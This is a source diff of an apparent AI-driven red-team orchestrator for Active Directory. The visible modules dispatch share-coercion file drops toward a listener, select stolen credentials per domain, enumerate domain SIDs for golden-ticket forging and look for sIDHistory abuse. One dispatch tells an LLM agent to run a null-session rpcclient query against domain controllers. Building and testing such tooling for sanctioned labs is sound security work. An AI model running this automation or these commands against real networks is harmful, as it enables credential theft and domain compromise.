let listener = match dispatcher.config.listener_ip.as_deref() { + Some(ip) => ip.to_string(), + None => continue, // need listener for UNC path in coercion files + }; + + let work: Vec = { + let state = dispatcher.state.read().await; + collect_share_coercion_work(&state, &listener) + }; + + for item in work { + let payload = json!({ + "technique": "share_coercion", + "target_ip": item.host, + "share_name": item.share_name, + "listener_ip": item.listener, + "credential": { + "username": item.credential.username, + "password": item.credential.password, + "domain": item.credential.domain, + }, + }); + + let priority = dispatcher.effective_priority("share_coercion"); + match dispatcher + .throttled_submit("coercion", "coercion", payload, priority) + .await + { + Ok(Some(task_id)) => { + info!( + task_id = %task_id, + host = %item.host, + share = %item.share_name, + "Share coercion file drop dispatched" + ); + + let dedup_key = format!("{}:{}", item.host, item.share_name); + dispatcher + .state + .write() + .await + .mark_processed(DEDUP_WRITABLE_SHARES, dedup_key.clone()); + let _ = dispatcher + .state + .persist_dedup(&dispatcher.queue, DEDUP_WRITABLE_SHARES, &dedup_key) + .await; + } + Ok(None) => { + debug!( + host = %item.host, + share = %item.share_name, + "Share coercion task deferred by throttler" + ); + } + Err(e) => { + warn!( + err = %e, + host = %item.host, + share = %item.share_name, + "Failed to dispatch share coercion" + ); + } + } + } + } +} + +struct ShareCoercionWork { + host: String, + share_name: String, + listener: String, + credential: ares_core::models::Credential, +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::orchestrator::state::StateInner; + use ares_core::models::{Credential, Share}; + + fn make_credential(username: &str, password: &str, domain: &str) -> Credential { + Credential { + id: format!("c-{username}"), + username: username.into(), + password: password.into(), // pragma: allowlist secret + domain: domain.into(), + source: "test".into(), + is_admin: false, + discovered_at: None, + parent_id: None, + attack_step: 0, + } + } + + fn make_share(host: &str, name: &str, permissions: &str) -> Share { + Share { + host: host.into(), + name: name.into(), + permissions: permissions.into(), + comment: String::new(), + authenticated_as: None, + } + } + + #[test] + fn dedup_key_format() { + let key = format!("{}:{}", "192.168.58.22", "Users"); + assert_eq!(key, "192.168.58.22:Users"); + } + + #[test] + fn dedup_set_name() { + assert_eq!(DEDUP_WRITABLE_SHARES, "writable_shares"); + } + + #[test] + fn admin_shares_filtered() { + let admin_shares = ["C$", "ADMIN$", "IPC$", "PRINT$", "SYSVOL", "NETLOGON"]; + for name in &admin_shares { + let name_upper = name.to_uppercase(); + assert!( + matches!( + name_upper.as_str(), + "C$" | "ADMIN$" | "IPC$" | "PRINT$" | "SYSVOL" | "NETLOGON" + ), + "{name} should be filtered" + ); + } + } + + #[test] + fn non_admin_shares_pass() { + let user_shares = ["Users", "Public", "Data", "shared"]; + for name in &user_shares { + let name_upper = name.to_uppercase(); + assert!( + !matches!( + name_upper.as_str(), + "C$" | "ADMIN$" | "IPC$" | "PRINT$" | "SYSVOL" | "NETLOGON" + ), + "{name} should pass through" + ); + } + } + + #[test] + fn writable_permission_matching() { + let writable = ["WRITE", "READ/WRITE", "rw WRITE access"]; + for p in &writable { + let perms = p.to_uppercase(); + let is_writable = perms == "WRITE" || perms == "READ/WRITE" || perms.contains("WRITE"); + assert!(is_writable, "{p} should be writable"); + } + } + + #[test] + fn readonly_permission_rejected() { + let readonly = ["READ", "NONE", "DENIED"]; + for p in &readonly { + let perms = p.to_uppercase(); + let is_writable = perms == "WRITE" || perms == "READ/WRITE" || perms.contains("WRITE"); + assert!(!is_writable, "{p} should NOT be writable"); + } + } + + #[test] + fn payload_structure_validation() { + let cred = ares_core::models::Credential { + id: "c1".into(), + username: "admin".into(), + password: "P@ssw0rd!".into(), // pragma: allowlist secret + domain: "contoso.local".into(), + source: "test".into(), + is_admin: false, + discovered_at: None, + parent_id: None, + attack_step: 0, + }; + + let payload = serde_json::json!({ + "technique": "share_coercion", + "target_ip": "192.168.58.22", + "share_name": "Users", + "listener_ip": "192.168.58.50", + "credential": { + "username": cred.username, + "password": cred.password, + "domain": cred.domain, + }, + }); + + assert_eq!(payload["technique"], "share_coercion"); + assert_eq!(payload["target_ip"], "192.168.58.22"); + assert_eq!(payload["share_name"], "Users"); + assert_eq!(payload["listener_ip"], "192.168.58.50"); + assert_eq!(payload["credential"]["username"], "admin"); + assert_eq!(payload["credential"]["password"], "P@ssw0rd!"); // pragma: allowlist secret + assert_eq!(payload["credential"]["domain"], "contoso.local"); + } + + #[test] + fn admin_share_filtering_lowercase_variations() { + let lower_admin_shares = ["c$", "admin$", "ipc$", "print$", "sysvol", "netlogon"]; + for name in &lower_admin_shares { + let name_upper = name.to_uppercase(); + assert!( + matches!( + name_upper.as_str(), + "C$" | "ADMIN$" | "IPC$" | "PRINT$" | "SYSVOL" | "NETLOGON" + ), + "{name} (lowercase) should be filtered after uppercasing" + ); + } + } + + #[test] + fn writable_permission_with_change_keyword() { + let perm = "CHANGE"; + let perms = perm.to_uppercase(); + let is_writable = perms == "WRITE" || perms == "READ/WRITE" || perms.contains("WRITE"); + assert!(!is_writable, "CHANGE alone should not match WRITE logic"); + } + + #[test] + fn work_struct_construction() { + let cred = ares_core::models::Credential { + id: "c1".into(), + username: "testuser".into(), + password: "P@ssw0rd!".into(), // pragma: allowlist secret + domain: "contoso.local".into(), + source: "test".into(), + is_admin: false, + discovered_at: None, + parent_id: None, + attack_step: 0, + }; + + let work = ShareCoercionWork { + host: "192.168.58.22".into(), + share_name: "Data".into(), + listener: "192.168.58.50".into(), + credential: cred, + }; + + assert_eq!(work.host, "192.168.58.22"); + assert_eq!(work.share_name, "Data"); + assert_eq!(work.listener, "192.168.58.50"); + assert_eq!(work.credential.username, "testuser"); + assert_eq!(work.credential.domain, "contoso.local"); + } + + #[test] + fn per_cycle_limit_of_three() { + let shares: Vec = (0..10).map(|i| format!("Share{i}")).collect(); + let limited: Vec<&String> = shares.iter().take(3).collect(); + assert_eq!(limited.len(), 3); + assert_eq!(*limited[0], "Share0"); + assert_eq!(*limited[2], "Share2"); + } + + #[test] + fn empty_share_name_handling() { + let name = ""; + let name_upper = name.to_uppercase(); + assert!( + !matches!( + name_upper.as_str(), + "C$" | "ADMIN$" | "IPC$" | "PRINT$" | "SYSVOL" | "NETLOGON" + ), + "Empty share name should pass admin filter" + ); + } + + #[test] + fn case_insensitive_admin_share_check() { + let mixed_case = ["Sysvol", "NetLogon", "Admin$", "Ipc$"]; + for name in &mixed_case { + let name_upper = name.to_uppercase(); + assert!( + matches!( + name_upper.as_str(), + "C$" | "ADMIN$" | "IPC$" | "PRINT$" | "SYSVOL" | "NETLOGON" + ), + "{name} should be filtered regardless of case" + ); + } + } + + // --- collect_share_coercion_work tests --- + + #[test] + fn collect_empty_state_returns_no_work() { + let state = StateInner::new("test-op".into()); + let work = collect_share_coercion_work(&state, "192.168.58.50"); + assert!(work.is_empty()); + } + + #[test] + fn collect_no_credentials_returns_no_work() { + let mut state = StateInner::new("test-op".into()); + state + .shares + .push(make_share("192.168.58.22", "Users", "WRITE")); + let work = collect_share_coercion_work(&state, "192.168.58.50"); + assert!(work.is_empty()); + } + + #[test] + fn collect_no_shares_returns_no_work() { + let mut state = StateInner::new("test-op".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + let work = collect_share_coercion_work(&state, "192.168.58.50"); + assert!(work.is_empty()); + } + + #[test] + fn collect_writable_share_produces_work() { + let mut state = StateInner::new("test-op".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + state + .shares + .push(make_share("192.168.58.22", "Users", "WRITE")); + let work = collect_share_coercion_work(&state, "192.168.58.50"); + assert_eq!(work.len(), 1); + assert_eq!(work[0].host, "192.168.58.22"); + assert_eq!(work[0].share_name, "Users"); + assert_eq!(work[0].listener, "192.168.58.50"); + assert_eq!(work[0].credential.username, "admin"); + } + + #[test] + fn collect_readonly_share_skipped() { + let mut state = StateInner::new("test-op".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + state + .shares + .push(make_share("192.168.58.22", "Users", "READ")); + let work = collect_share_coercion_work(&state, "192.168.58.50"); + assert!(work.is_empty()); + } + + #[test] + fn collect_admin_shares_filtered() { + let mut state = StateInner::new("test-op".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + state + .shares + .push(make_share("192.168.58.22", "ADMIN$", "WRITE")); + state + .shares + .push(make_share("192.168.58.22", "C$", "WRITE")); + state + .shares + .push(make_share("192.168.58.22", "IPC$", "WRITE")); + state + .shares + .push(make_share("192.168.58.22", "SYSVOL", "WRITE")); + state + .shares + .push(make_share("192.168.58.22", "NETLOGON", "WRITE")); + let work = collect_share_coercion_work(&state, "192.168.58.50"); + assert!(work.is_empty()); + } + + #[test] + fn collect_dedup_skips_already_processed() { + let mut state = StateInner::new("test-op".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + state + .shares + .push(make_share("192.168.58.22", "Users", "WRITE")); + state.mark_processed(DEDUP_WRITABLE_SHARES, "192.168.58.22:Users".into()); + let work = collect_share_coercion_work(&state, "192.168.58.50"); + assert!(work.is_empty()); + } + + #[test] + fn collect_limits_to_three_per_cycle() { + let mut state = StateInner::new("test-op".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + for i in 0..5 { + state + .shares + .push(make_share("192.168.58.22", &format!("Share{i}"), "WRITE")); + } + let work = collect_share_coercion_work(&state, "192.168.58.50"); + assert_eq!(work.len(), 3); + } + + #[test] + fn collect_read_write_permission_produces_work() { + let mut state = StateInner::new("test-op".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + state + .shares + .push(make_share("192.168.58.22", "Data", "READ/WRITE")); + let work = collect_share_coercion_work(&state, "192.168.58.50"); + assert_eq!(work.len(), 1); + assert_eq!(work[0].share_name, "Data"); + } + + #[tokio::test] + async fn collect_via_shared_state() { + let shared = SharedState::new("test-op".into()); + { + let mut state = shared.write().await; + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + state + .shares + .push(make_share("192.168.58.22", "Public", "WRITE")); + } + let state = shared.read().await; + let work = collect_share_coercion_work(&state, "192.168.58.50"); + assert_eq!(work.len(), 1); + assert_eq!(work[0].host, "192.168.58.22"); + } +} diff --git a/ares-cli/src/orchestrator/automation/share_enum.rs b/ares-cli/src/orchestrator/automation/share_enum.rs index 749c3851..d650e427 100644 --- a/ares-cli/src/orchestrator/automation/share_enum.rs +++ b/ares-cli/src/orchestrator/automation/share_enum.rs @@ -1,5 +1,6 @@ //! auto_share_enumeration -- enumerate SMB shares on discovered hosts using credentials. +use std::collections::HashMap; use std::sync::Arc; use std::time::Duration; @@ -9,7 +10,31 @@ use tracing::{info, warn}; use crate::orchestrator::dispatcher::Dispatcher; use crate::orchestrator::state::*; +/// Extract the AD domain suffix from a host's FQDN hostname. Returns +/// `Some("contoso.local")` for `"dc01.contoso.local"`, `None` for bare or +/// empty hostnames. Used to pair each host with a credential whose domain +/// is likely to authenticate against it — a cross-forest credential gets +/// access-denied on SMB and surfaces no shares, masking real attack surface. +fn host_domain_from_fqdn(hostname: &str) -> Option { + let trimmed = hostname.trim().to_lowercase(); + let (_, domain) = trimmed.split_once('.')?; + if domain.is_empty() { + None + } else { + Some(domain.to_string()) + } +} + /// Dispatches share enumeration on each known host when credentials are available. +/// +/// Per-host credential selection: for each host whose FQDN reveals its AD +/// domain, prefer a credential whose `domain` matches. Falls back to any +/// non-delegation credential when the host's domain is unknown or when no +/// same-domain credential exists. This unblocks cross-forest CA enumeration +/// — a single global credential was failing SMB auth against other-forest +/// hosts, leaving the CertEnroll share unknown and silently disabling ADCS +/// enumeration there. +/// /// Interval: 20s. Dedup key: "{host_ip}:{cred_user}:{cred_domain}". pub async fn auto_share_enumeration( dispatcher: Arc, @@ -30,35 +55,56 @@ pub async fn auto_share_enumeration( let work: Vec<(String, String, ares_core::models::Credential)> = { let state = dispatcher.state.read().await; - // Use first non-delegation credential to avoid burning auth budget + + // Build a per-domain credential index. The first non-delegation, + // non-quarantined cred per domain wins. Avoids burning auth budget // on accounts reserved for S4U exploitation. - let cred = match state + let mut creds_by_domain: HashMap = + HashMap::new(); + for c in &state.credentials { + if state.is_delegation_account(&c.username) + || state.is_principal_quarantined(&c.username, &c.domain) + { + continue; + } + let key = c.domain.to_lowercase(); + creds_by_domain.entry(key).or_insert_with(|| c.clone()); + } + + // Global fallback for hosts with unknown domain or no same-domain cred. + let fallback = state .credentials .iter() .find(|c| { !state.is_delegation_account(&c.username) - && !state.is_credential_quarantined(&c.username, &c.domain) + && !state.is_principal_quarantined(&c.username, &c.domain) }) .or_else(|| state.credentials.first()) - { - Some(c) => { - no_cred_logged = false; - c.clone() + .cloned(); + + if fallback.is_none() { + if !no_cred_logged { + info!( + hosts = state.hosts.len(), + target_ips = state.target_ips.len(), + "Share enum: no credentials in memory yet, waiting" + ); + no_cred_logged = true; } - None => { - if !no_cred_logged { - info!( - hosts = state.hosts.len(), - target_ips = state.target_ips.len(), - "Share enum: no credentials in memory yet, waiting" - ); - no_cred_logged = true; - } - continue; + continue; + } + no_cred_logged = false; + + // Pair each known IP with the best-matching credential. Same-domain + // match wins; fall back to the global cred when host's domain is + // unknown (no FQDN hostname yet) or no cred matches its domain. + let mut hostname_by_ip: HashMap = HashMap::new(); + for h in &state.hosts { + if !h.hostname.is_empty() { + hostname_by_ip.insert(h.ip.clone(), h.hostname.clone()); } - }; + } - // Enumerate shares on every known host (target IPs + discovered hosts) let mut ips: Vec = state.target_ips.clone(); for host in &state.hosts { if !ips.contains(&host.ip) { @@ -68,6 +114,13 @@ pub async fn auto_share_enumeration( ips.into_iter() .filter_map(|ip| { + let host_domain = hostname_by_ip + .get(&ip) + .and_then(|n| host_domain_from_fqdn(n)); + let cred = host_domain + .as_deref() + .and_then(|d| creds_by_domain.get(d).cloned()) + .or_else(|| fallback.clone())?; let dedup = format!( "{}:{}:{}", ip, @@ -77,7 +130,7 @@ pub async fn auto_share_enumeration( if state.is_processed(DEDUP_SHARE_ENUM, &dedup) { None } else { - Some((dedup, ip, cred.clone())) + Some((dedup, ip, cred)) } }) .take(5) @@ -104,3 +157,36 @@ pub async fn auto_share_enumeration( } } } + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn host_domain_extracts_suffix() { + assert_eq!( + host_domain_from_fqdn("dc01.contoso.local"), + Some("contoso.local".to_string()) + ); + assert_eq!( + host_domain_from_fqdn("WEB01.fabrikam.local"), + Some("fabrikam.local".to_string()) + ); + } + + #[test] + fn host_domain_handles_subdomains() { + // child.parent.local → "child.parent.local" minus the first label + assert_eq!( + host_domain_from_fqdn("ws01.child.fabrikam.local"), + Some("child.fabrikam.local".to_string()) + ); + } + + #[test] + fn host_domain_returns_none_for_bare_hostname() { + assert_eq!(host_domain_from_fqdn("dc01"), None); + assert_eq!(host_domain_from_fqdn(""), None); + assert_eq!(host_domain_from_fqdn(" "), None); + } +} diff --git a/ares-cli/src/orchestrator/automation/shares.rs b/ares-cli/src/orchestrator/automation/shares.rs index ccc50320..f923febb 100644 --- a/ares-cli/src/orchestrator/automation/shares.rs +++ b/ares-cli/src/orchestrator/automation/shares.rs @@ -33,7 +33,7 @@ pub async fn auto_share_spider(dispatcher: Arc, mut shutdown: watch: .iter() .find(|c| { !state.is_delegation_account(&c.username) - && !state.is_credential_quarantined(&c.username, &c.domain) + && !state.is_principal_quarantined(&c.username, &c.domain) }) .or_else(|| state.credentials.first()) { diff --git a/ares-cli/src/orchestrator/automation/sid_enumeration.rs b/ares-cli/src/orchestrator/automation/sid_enumeration.rs new file mode 100644 index 00000000..3df49719 --- /dev/null +++ b/ares-cli/src/orchestrator/automation/sid_enumeration.rs @@ -0,0 +1,426 @@ +//! auto_sid_enumeration -- enumerate domain SIDs and well-known SID mappings. +//! +//! Queries each discovered DC via LDAP to resolve the domain SID, then maps +//! well-known RIDs (500=Administrator, 502=krbtgt, 512=Domain Admins, etc.) +//! to confirm account names. This is useful when the RID-500 account has +//! been renamed (e.g., not "Administrator"). +//! +//! Also discovers the domain SID needed for golden ticket forging and +//! ExtraSid attacks. + +use std::sync::Arc; +use std::time::Duration; + +use serde_json::json; +use tokio::sync::watch; +use tracing::{debug, info, warn}; + +use crate::orchestrator::dispatcher::Dispatcher; +use crate::orchestrator::state::*; + +/// Collect SID enumeration work items from current state. +/// +/// Pure logic extracted from `auto_sid_enumeration` so it can be unit-tested +/// without needing a `Dispatcher` or async runtime. +fn collect_sid_enum_work(state: &StateInner) -> Vec { + if state.credentials.is_empty() { + return Vec::new(); + } + + let mut items = Vec::new(); + + for (domain, dc_ip) in &state.all_domains_with_dcs() { + // Skip if we already have the SID for this domain + if state.domain_sids.contains_key(domain) { + continue; + } + + let dedup_key = format!("sid_enum:{}", domain.to_lowercase()); + if state.is_processed(DEDUP_SID_ENUMERATION, &dedup_key) { + continue; + } + + let cred = match state + .credentials + .iter() + .find(|c| { + !c.password.is_empty() + && c.domain.to_lowercase() == domain.to_lowercase() + && !state.is_principal_quarantined(&c.username, &c.domain) + }) + .or_else(|| { + state.credentials.iter().find(|c| { + !c.password.is_empty() + && !state.is_principal_quarantined(&c.username, &c.domain) + }) + }) { + Some(c) => c.clone(), + None => continue, + }; + + items.push(SidEnumWork { + dedup_key, + domain: domain.clone(), + dc_ip: dc_ip.clone(), + credential: cred, + }); + } + + items +} + +/// Enumerate domain SIDs and well-known accounts. +/// Interval: 45s. +pub async fn auto_sid_enumeration( + dispatcher: Arc, + mut shutdown: watch::Receiver, +) { + let mut interval = tokio::time::interval(Duration::from_secs(45)); + interval.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Delay); + + loop { + tokio::select! { + _ = interval.tick() => {}, + _ = shutdown.changed() => break, + } + if *shutdown.borrow() { + break; + } + + if !dispatcher.is_technique_allowed("sid_enumeration") { + continue; + } + + let work: Vec = { + let state = dispatcher.state.read().await; + collect_sid_enum_work(&state) + }; + + for item in work { + // Cross-forest authenticated RPC/LDAP from the source forest's + // credential typically returns ACCESS_DENIED — but `rpcclient + // -U "" -N -c lsaquery` over a null session usually succeeds + // against DCs that allow anonymous LSA queries (most legacy + // configurations). The agent loop won't try the null-session + // path on its own when handed a credential, so we explicitly + // instruct it to fall through. The result-processor's + // `extract_lsaquery_domain_sid` regex captures the resulting + // `Domain Name: / Domain Sid:` block and caches it against the + // domain, which unblocks `forge_inter_realm_and_dump`. + let cred_is_cross_forest = !item + .credential + .domain + .to_lowercase() + .ends_with(&item.domain.to_lowercase()) + && !item + .domain + .to_lowercase() + .ends_with(&item.credential.domain.to_lowercase()) + && item.credential.domain.to_lowercase() != item.domain.to_lowercase(); + let instructions = if cred_is_cross_forest { + Some(format!( + "Resolve the domain SID and RID-500 account name for {dom} ({dc}). \ + The provided credential is from a different forest and authenticated \ + RPC/LDAP from outside this forest typically fails with ACCESS_DENIED. \ + Run `rpcclient -U \"\" -N {dc} -c \"lsaquery\"` first (null/anonymous \ + session — no credential needed) to capture the `Domain Name:` and \ + `Domain Sid:` lines. Then run `impacket-lookupsid` with the provided \ + credential as a secondary attempt for RID-500 mapping. Report both \ + outputs verbatim via task_complete tool_outputs so the parser can \ + extract the SID.", + dom = item.domain, + dc = item.dc_ip, + )) + } else { + None + }; + + let mut payload = json!({ + "technique": "sid_enumeration", + "target_ip": item.dc_ip, + "domain": item.domain, + "credential": { + "username": item.credential.username, + "password": item.credential.password, + "domain": item.credential.domain, + }, + }); + if let Some(text) = instructions { + payload["instructions"] = json!(text); + } + + let priority = dispatcher.effective_priority("sid_enumeration"); + match dispatcher + .throttled_submit("recon", "recon", payload, priority) + .await + { + Ok(Some(task_id)) => { + info!( + task_id = %task_id, + domain = %item.domain, + dc = %item.dc_ip, + "SID enumeration dispatched" + ); + dispatcher + .state + .write() + .await + .mark_processed(DEDUP_SID_ENUMERATION, item.dedup_key.clone()); + let _ = dispatcher + .state + .persist_dedup(&dispatcher.queue, DEDUP_SID_ENUMERATION, &item.dedup_key) + .await; + } + Ok(None) => { + debug!(domain = %item.domain, "SID enumeration deferred"); + } + Err(e) => { + warn!(err = %e, domain = %item.domain, "Failed to dispatch SID enumeration"); + } + } + } + } +} + +struct SidEnumWork { + dedup_key: String, + domain: String, + dc_ip: String, + credential: ares_core::models::Credential, +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn dedup_key_format() { + let key = format!("sid_enum:{}", "contoso.local"); + assert_eq!(key, "sid_enum:contoso.local"); + } + + #[test] + fn dedup_set_name() { + assert_eq!(DEDUP_SID_ENUMERATION, "sid_enumeration"); + } + + #[test] + fn payload_structure_has_correct_technique() { + let cred = ares_core::models::Credential { + id: "c1".into(), + username: "admin".into(), + password: "P@ssw0rd!".into(), // pragma: allowlist secret + domain: "contoso.local".into(), + source: "test".into(), + is_admin: false, + discovered_at: None, + parent_id: None, + attack_step: 0, + }; + let payload = json!({ + "technique": "sid_enumeration", + "target_ip": "192.168.58.10", + "domain": "contoso.local", + "credential": { + "username": cred.username, + "password": cred.password, + "domain": cred.domain, + }, + }); + assert_eq!(payload["technique"], "sid_enumeration"); + assert_eq!(payload["target_ip"], "192.168.58.10"); + assert_eq!(payload["domain"], "contoso.local"); + } + + #[test] + fn work_struct_construction() { + let cred = ares_core::models::Credential { + id: "c1".into(), + username: "admin".into(), + password: "P@ssw0rd!".into(), // pragma: allowlist secret + domain: "contoso.local".into(), + source: "test".into(), + is_admin: false, + discovered_at: None, + parent_id: None, + attack_step: 0, + }; + let work = SidEnumWork { + dedup_key: "sid_enum:contoso.local".into(), + domain: "contoso.local".into(), + dc_ip: "192.168.58.10".into(), + credential: cred, + }; + assert_eq!(work.domain, "contoso.local"); + assert_eq!(work.dc_ip, "192.168.58.10"); + assert_eq!(work.credential.username, "admin"); + } + + #[test] + fn dedup_key_normalizes_domain() { + let key = format!("sid_enum:{}", "CONTOSO.LOCAL".to_lowercase()); + assert_eq!(key, "sid_enum:contoso.local"); + } + + #[test] + fn dedup_keys_differ_per_domain() { + let key1 = format!("sid_enum:{}", "contoso.local"); + let key2 = format!("sid_enum:{}", "fabrikam.local"); + assert_ne!(key1, key2); + } + + fn make_credential( + username: &str, + password: &str, + domain: &str, + ) -> ares_core::models::Credential { + ares_core::models::Credential { + id: format!("c-{username}"), + username: username.into(), + password: password.into(), // pragma: allowlist secret + domain: domain.into(), + source: "test".into(), + is_admin: false, + discovered_at: None, + parent_id: None, + attack_step: 0, + } + } + + #[test] + fn collect_empty_state_no_work() { + let state = StateInner::new("test-op".into()); + let work = collect_sid_enum_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_no_credentials_no_work() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + let work = collect_sid_enum_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_single_domain_with_cred() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + let work = collect_sid_enum_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].domain, "contoso.local"); + assert_eq!(work[0].dc_ip, "192.168.58.10"); + assert_eq!(work[0].credential.username, "admin"); + } + + #[test] + fn collect_skips_domain_with_known_sid() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + state + .domain_sids + .insert("contoso.local".into(), "S-1-5-21-1234".into()); + let work = collect_sid_enum_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_dedup_skips_processed() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + state.mark_processed(DEDUP_SID_ENUMERATION, "sid_enum:contoso.local".into()); + let work = collect_sid_enum_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_cross_domain_fallback() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .credentials + .push(make_credential("crossuser", "P@ssw0rd!", "fabrikam.local")); // pragma: allowlist secret + let work = collect_sid_enum_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].credential.username, "crossuser"); + assert_eq!(work[0].credential.domain, "fabrikam.local"); + } + + #[test] + fn collect_skips_empty_password() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .credentials + .push(make_credential("admin", "", "contoso.local")); + let work = collect_sid_enum_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_quarantined_credential_skipped() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .credentials + .push(make_credential("baduser", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + state.quarantine_principal("baduser", "contoso.local"); + let work = collect_sid_enum_work(&state); + assert!(work.is_empty()); + } + + #[test] + fn collect_dedup_key_lowercased() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("CONTOSO.LOCAL".into(), "192.168.58.10".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + let work = collect_sid_enum_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].dedup_key, "sid_enum:contoso.local"); + } + + #[tokio::test] + async fn collect_via_shared_state() { + let shared = SharedState::new("test-op".into()); + { + let mut state = shared.write().await; + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + } + let state = shared.read().await; + let work = collect_sid_enum_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].domain, "contoso.local"); + } +} diff --git a/ares-cli/src/orchestrator/automation/sid_history_enum.rs b/ares-cli/src/orchestrator/automation/sid_history_enum.rs new file mode 100644 index 00000000..18f40718 --- /dev/null +++ b/ares-cli/src/orchestrator/automation/sid_history_enum.rs @@ -0,0 +1,704 @@ +//! auto_sid_history_enum -- detect users carrying foreign-domain SIDs via +//! the `sIDHistory` LDAP attribute. +//! +//! Background: `sIDHistory` is intended for migration scenarios — when a +//! principal moves between domains, the old SID is appended so the user +//! retains access to resources ACLed by the old SID. Attackers also forge +//! `sIDHistory` (post-DA on a child) so a low-priv principal in the child +//! domain carries a privileged ExtraSid from the parent (e.g. EAs) into +//! every Kerberos service ticket. SID-filtering on the trust strips these +//! at the boundary; misconfigured trusts (or intra-forest paths) let them +//! through. Either way, *any* user with a non-empty `sIDHistory` containing +//! a foreign-domain SID is an exploitable primitive. +//! +//! This automation issues an LDAP query `(sIDHistory=*)` per DC and emits +//! one `sid_history_` vulnerability per match. Because *discovery* +//! of an exploitable sIDHistory is the achievement (the next ticket forge +//! can ride the SID directly via `ticketer --extra-sid`), we also call +//! `mark_exploited` on the same vuln_id immediately — matching the +//! scoreboard's expectation that the primitive is credited on detection. +//! +//! Interval: 60s — read-only LDAP, but no rush; we want trust enumeration +//! to populate domain credentials first. + +use std::sync::Arc; +use std::time::Duration; + +use serde_json::json; +use tokio::sync::watch; +use tracing::{debug, info, warn}; + +use ares_llm::ToolCall; + +use crate::orchestrator::dispatcher::Dispatcher; +use crate::orchestrator::state::*; + +struct SidHistoryWork { + dedup_key: String, + domain: String, + dc_ip: String, + credential: ares_core::models::Credential, +} + +/// Collect SID-history enumeration work items from current state. +/// +/// One item per (domain, DC) pair, gated on a same-forest credential being +/// available. Same forest because LDAP bind across a forest trust returns +/// 52e — there's no point dispatching the probe with a credential whose +/// realm the target DC doesn't trust. +fn collect_sid_history_work(state: &StateInner) -> Vec { + if state.credentials.is_empty() { + return Vec::new(); + } + + let mut items = Vec::new(); + for (domain, dc_ip) in &state.all_domains_with_dcs() { + let dedup_key = format!("sid_history:{}", domain.to_lowercase()); + if state.is_processed(DEDUP_SID_HISTORY, &dedup_key) { + continue; + } + + // Prefer a credential whose domain matches the target. Fall back to + // any same-forest credential. Skip if no candidate exists. + let domain_lower = domain.to_lowercase(); + let target_forest = state.forest_root_of(&domain_lower); + let cred = state + .credentials + .iter() + .find(|c| { + !c.password.is_empty() + && c.domain.to_lowercase() == domain_lower + && !state.is_delegation_account(&c.username) + && !state.is_principal_quarantined(&c.username, &c.domain) + }) + .or_else(|| { + state.credentials.iter().find(|c| { + !c.password.is_empty() + && state.forest_root_of(&c.domain.to_lowercase()) == target_forest + && !state.is_delegation_account(&c.username) + && !state.is_principal_quarantined(&c.username, &c.domain) + }) + }); + + let cred = match cred { + Some(c) => c.clone(), + None => continue, + }; + + items.push(SidHistoryWork { + dedup_key, + domain: domain.clone(), + dc_ip: dc_ip.clone(), + credential: cred, + }); + } + items +} + +/// Build the `ldap_search` payload for a single SID-history work item. +/// Splits out so the cross-domain `bind_domain` branch can be unit tested +/// without spinning a Dispatcher. +fn build_sid_history_payload(item: &SidHistoryWork) -> serde_json::Value { + let mut args = json!({ + "target": item.dc_ip, + "domain": item.domain, + "username": item.credential.username, + "password": item.credential.password, + "filter": "(sIDHistory=*)", + "attributes": "sAMAccountName,sIDHistory", + }); + // Cross-domain bind: ldapsearch needs the credential's realm to + // construct the right bind DN even when querying a different + // domain's partition. + if item.credential.domain.to_lowercase() != item.domain.to_lowercase() { + args["bind_domain"] = json!(item.credential.domain); + } + args +} + +/// Build the `sid_history_abuse` `VulnerabilityInfo` for a discovered principal. +/// Splits out so the 